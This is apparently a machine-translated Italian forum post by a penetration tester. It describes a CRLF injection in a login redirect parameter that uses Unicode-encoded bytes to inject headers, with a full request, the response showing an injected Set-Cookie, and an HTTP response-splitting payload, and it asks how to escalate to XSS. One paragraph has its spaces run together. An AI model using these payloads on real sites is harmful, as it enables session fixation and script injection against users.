Sono stato pentito per una società. Ho trovato un'iniezione CRLF che poteva essere eseguita utilizzando %E5%98%8D%E5%98%8A
anziché %0d%0a
. Quindi sto usando %E5%98%8D%E5%98%8A
nel parametro di reindirizzamento per CR / LF. Ecco l'esempio di CR / LF.
POST /Login?redir=/%E5%98%8D%E5%98%8ASet-Cookie:%20Test=Test HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://example.com/Login?redir=/
Cookie: npii=bcguid/eeed476d1530a2afb4c108a1ff6c8a7858e8fd6d^tguid/eeed476d1530a2afb4c108a1ff6c8a7958e8fd6d^; guid=153f03aafcc.a787875.73837.ffffffff; lang=en-US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
[email protected]&password=passwd&submit=Sign+in
e la risposta è:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Set-Cookie: epnAQABAAAAcL+4dNXREv5UlAUmnCm8pZjU5ZMGA8Hh7eOXJ59693k+u7Sj84BWjNVabZi9+tsOPv2StVHtoqFe+4yWHHz5HOPgghz5oyVfEcsQubE1j5XHZO6SAhQsZGCo7s+rkEx7tl+GTafUDd1zE9702PrSAmg=;Domain=.example.com;Expires=Fri, 08-Apr-2016 16:15:44 GMT;Path=/; Secure; HttpOnly
Set-Cookie: lang=en-US;Domain=.example.com;Expires=Wed, 07-Apr-2021 15:15:44 GMT;Path=/
Set-Cookie: ifl=y;Domain=.example.com;Path=/
Location: https://example.com/
Set-Cookie: Test=Test
Content-Length: 0
Date: Fri, 08 Apr 2016 15:15:43 GMT
Ma quando stavo cercando di dividere l'intestazione usando:
/%E5%98%8D%E5%98%8AContent-Length:%200%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8AHTTP/1.1%20200%20OK%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8AContent-Length:%2017%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A<html>Test</html>
Il contenuto di HTTP/1.1 200 OK
è stato trattato come HTML come mostrato in HTML.
Comevedinell'esempiosopra,housato%E5%98%8D%E5%98%8A
duevolteprimadellanuovaintestazionedirispostaequandostousando%E5%98%8D%E5%98%8A
unavoltanonvieneconsideratocomeunasecondarispostaperchéquièilmotivo.
Come puoi vedere dall'immagine 2, il valore per HTTP / 1.1 dovrebbe essere 200 OK
ma non diviso.
Cosa dovrei provare?
Poiché si tratta di una pagina di reindirizzamento insieme alle credenziali di accesso, non riesco a inserire l'iniezione di contenuti in tale posizione. Attualmente posso fare l'iniezione di cookie. C'è un modo per sfruttare altre vulnerabilità come XSS, content injection o un altro attacco?